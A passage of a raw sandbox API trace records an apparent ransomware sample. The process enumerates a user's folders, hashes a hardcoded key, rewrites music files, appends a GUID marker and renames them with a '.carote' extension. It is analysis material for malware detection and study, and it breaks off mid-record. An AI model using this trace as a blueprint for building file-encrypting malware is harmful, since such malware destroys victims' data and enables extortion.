HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.242] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.242] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.242] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.242] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.242] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.242] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.242] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.242] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.242] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.242] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.242] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.242] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.242] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0112.242] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.242] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.243] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.243] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.243] PathFindFileNameW (pszPath="") returned="" [0112.243] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.243] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.243] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.243] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.243] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned=".ini" [0112.243] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.243] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0112.243] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned=".lnk" [0112.243] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.243] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0112.243] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned=".lnk" [0112.243] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.243] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0112.243] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned=".lnk" [0112.243] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.243] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0112.243] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.243] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.243] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.243] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.244] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0112.244] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.244] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.244] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.244] PathFindFileNameW (pszPath="") returned="" [0112.244] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0112.244] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.244] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.244] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0112.244] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.244] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.244] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.244] PathFindFileNameW (pszPath="") returned="" [0112.244] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9bea6a20, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9bea6a20, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.244] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9bea6a20, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9bea6a20, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.244] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa922b840, ftCreationTime.dwHighDateTime=0x1d4cebe, ftLastAccessTime.dwLowDateTime=0x36678720, ftLastAccessTime.dwHighDateTime=0x1d4d253, ftLastWriteTime.dwLowDateTime=0x36678720, ftLastWriteTime.dwHighDateTime=0x1d4d253, nFileSizeHigh=0x0, nFileSizeLow=0xb25b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-uVUI.mp3", cAlternateFileName="")) returned 1 [0112.244] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-uVUI.mp3") returned=".mp3" [0112.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-uVUI.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-uvui.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.246] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=45659) returned 1 [0112.246] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.247] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb235, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.248] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.249] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.249] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xb25b, lpOverlapped=0x0) returned 1 [0112.250] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.250] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.250] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.250] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.250] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.250] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.251] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.251] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.251] GetLastError () returned 0x0 [0112.251] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.251] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.251] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb25b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.251] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.251] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.251] CloseHandle (hObject=0x61c) returned 1 [0112.252] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.252] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x870) returned 0x7b182e0 [0112.252] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-uVUI.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-uvui.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-uVUI.mp3.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-uvui.mp3.carote")) returned 1 [0112.254] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.254] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.255] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.255] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb228a1f0, ftCreationTime.dwHighDateTime=0x1d4cc59, ftLastAccessTime.dwLowDateTime=0xdc4aeb30, ftLastAccessTime.dwHighDateTime=0x1d4d3d1, ftLastWriteTime.dwLowDateTime=0xdc4aeb30, ftLastWriteTime.dwHighDateTime=0x1d4d3d1, nFileSizeHigh=0x0, nFileSizeLow=0x5373, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1JKoALnkX5.m4a", cAlternateFileName="1JKOAL~1.M4A")) returned 1 [0112.255] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.255] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.255] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.255] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1JKoALnkX5.m4a") returned=".m4a" [0112.255] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1JKoALnkX5.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1jkoalnkx5.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.255] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=21363) returned 1 [0112.255] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.257] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x534d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.257] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.258] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.258] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.258] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.258] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x5373, lpOverlapped=0x0) returned 1 [0112.259] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.259] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.259] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.259] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.259] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.260] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.260] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.260] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.260] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.260] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.260] GetLastError () returned 0x0 [0112.260] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.260] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.260] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.260] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x5370) returned 0x7b182e0 [0112.260] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.260] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.260] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x536e, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x536e, lpOverlapped=0x0) returned 1 [0112.261] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.261] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5373, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.261] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.261] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.261] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.261] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.261] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.261] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.261] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.261] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.261] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.261] CloseHandle (hObject=0x61c) returned 1 [0112.262] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.262] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x880) returned 0x7b182e0 [0112.262] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.262] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1JKoALnkX5.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1jkoalnkx5.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1JKoALnkX5.m4a.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1jkoalnkx5.m4a.carote")) returned 1 [0112.263] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.263] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.263] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.263] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, 